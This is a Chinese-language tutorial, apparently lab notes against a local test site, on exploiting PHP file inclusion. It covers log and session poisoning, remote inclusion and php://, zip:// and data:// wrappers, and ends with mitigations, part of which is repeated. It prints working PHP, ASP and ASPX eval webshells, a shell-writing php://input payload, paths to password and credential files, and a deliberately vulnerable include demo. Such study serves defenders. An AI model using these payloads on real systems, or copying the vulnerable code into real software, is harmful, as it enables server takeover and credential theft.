文件包含漏洞
1.文件包含漏洞?
一种注入型漏洞,本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
包含?
以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
常用文件包含的函数:
以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
1.1 漏洞产生原理
创建demo4.php
<?php
include $_GET['a'];
?>
创建被包含文件phpinfo.php(此文件可以是.jpg/.png/.txt多种文件后缀)
<?php
phpinfo();
?>
当访问demo4并传递一个a=phpinfo.php即
1.2 本地文件包含(LFI)
使用以上方式,可以读取服务器内具体文件,只需要将文件路径将参数传递即可
demo4.php
<?php
// include $_GET['a'];
$file=$_GET['filename'];
include($file);
//传递参数filename=文件相对路径/文件绝对路径
?>
在windows系统中文件位置:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
在Linux/Unix中
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
使用演示:
1.demo4.php文件放在服务器上
windows中:
这个貌似只能访问同一个盘符下的文件
LFI漏洞利用
1.–配合文件上传
当无法直接上传webshell时,可以先上传一个图片形式的webshell,再利用文件包含进行解析
第一步:先创建一个jpg格式的马demo.jpg
2.包含Apache日志文件
使用条件:
1.对日志文件可读
2.知道日志文件的目录
有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。
利用点:在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log
一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd,conf ,nginx.con)或者根据phpinfo()中的信息来得知日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式。
去访问不存在的文件目录加上<?php...?>
因为我在windows下搭建的服务器:日志文件放在(因为使用的为Nginx)
D:\phpstudy_pro\Extensions\Nginx1.15.11\logs
或者在
D:\phpstudy_pro\Extensions\Apache2.4.39\logs
访问出现结果:
由于发送的php代码被编码索性使用bp直接修改:
再次访问:
使用蚁剑连接:
一句话马:
php的一句话木马: <?php @eval($_POST['pass']);?>//我使用的这个
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
我的目录结构为:(在windows中)
http://127.0.0.1/pika/demo4.php?filename=../../Extensions/Nginx1.15.11/logs/error.log
看到所有目录结构:
3.session包含
关于session文件包含,指的是有时Web系统会把我们的一些变量写入session文件,我们可以借此机制将PHP木马写入PHP文件中,然后使用文件包含来包含该session文件,以此获取目标系统的shell权限。
这种攻击方式的好处在于,可以利用保存在session中的数据;这种攻击方式的前提在于我们可以准确的找到session文件的存储目录。
使用要求:
1.能找到session
2.session文件可读可写且有目录
原理演示:
第一步:
服务器上创建demo4.php
<?php
session_start();
$sess=$_GET['sess'];
$_SESSION['var_session']=$sess;
?>
服务器上文件包含demo5.php
<?php
$file=$_GET['file'];
include($file);
?>
第二步:写入session(这里我直接写一句话马)
127.0.0.1/pika/demo4.php?sess=<?php @eval($_POST['pass']);?>
实践之后可知,它会自己编码,然后用BP
获得cookie编号
我得到的cookie
PHPSESSID=7ehp1nsdsnhru8c0cp6r628jj1
//注意这个session的读写需要开启
使用demo5.php去连接写入到cookie里的一句话木马
先确定目录位置:
http://127.0.0.1/pika/demo5.php?file=../../Extensions/tmp/tmp/sess_7ehp1nsdsnhru8c0cp6r628jj1
蚁剑连接:
session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
1.3远程文件包含(RFI)
使用需要配置选项:
allow_url_include、allow_url_fopen需要进行开启
咱们打开以上2个配置
重启Nginx!!!
demo5.php
<?php
$file=$_GET['file'];
include($file.'/demodemo.txt');//在同级目录里存在,也可使用远程文件,引导到自己的服务器上
?>
//file的文件名随意定义,且可以设置成URL地址,然后进行拼接
然后去访问
http://127.0.0.1/pika/demo5.php?file=http://127.0.0.1/pika/
.'/demodemo.txt'
http://127.0.0.1/pika/demo5.php?file=http://www.baidu.com//再无拼接的情况下
包含成功!
2.PHP伪协议
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
以下介绍
2.1 file://协议
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
include( )/require()/include_once() /require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
demo5.php:
<?php
$file=$_GET['file'];
include($file);
?>
访问:
http://127.0.0.1/pika/demo5.php?file=file://C:/windows/2.txt
2.2 php://协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。
演示:还是以上demo5.php
php://filter用于读取源码:
//使用方式:出来后是base64编码
php://filter/convert.base64-encode/resource=文件路径
http://127.0.0.1/pika/demo5.php?file=php://filter/convert.base64-encode/resource=demo1.php
base64解密:
php://input用于执行php代码:
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
演示:在传递参数时设置为=php://input,然后加上POST参数,就可以执行传递的POST请求中的代码:
fwrite(fopen("shell.php","w"),'<?php eval($_POST[pass])?>');
生成shell.php进行连接
2.3 ZIP://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://demo.zip%23demo.txt
2.4 data://协议
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
使用条件
allow_url_fopen :on
allow_url_include:on
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
小结:
3.文件包含的防护
设置白名单:代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。如果需要使用文件包含,则通过使用白名单的方法对要包含的文件进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞。
过滤危险字符:严格限制包含中的参数,取消那些不可控的参数。由于Include Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在Linux环境中可以通过”../../”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
设置文件目录:PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
关闭危险配置:PHP配置中的allow_url_include选项如果打开,PHP会通过Include Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
禁用相应函数:如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含,这是最安全的办法。
如果需要使用文件包含,则通过使用白名单的方法对要包含的文件进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞。
过滤危险字符:严格限制包含中的参数,取消那些不可控的参数。由于Include Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在Linux环境中可以通过”…/…/”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
设置文件目录:PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
关闭危险配置:PHP配置中的allow_url_include选项如果打开,PHP会通过Include Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
禁用相应函数:如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含,这是最安全的办法。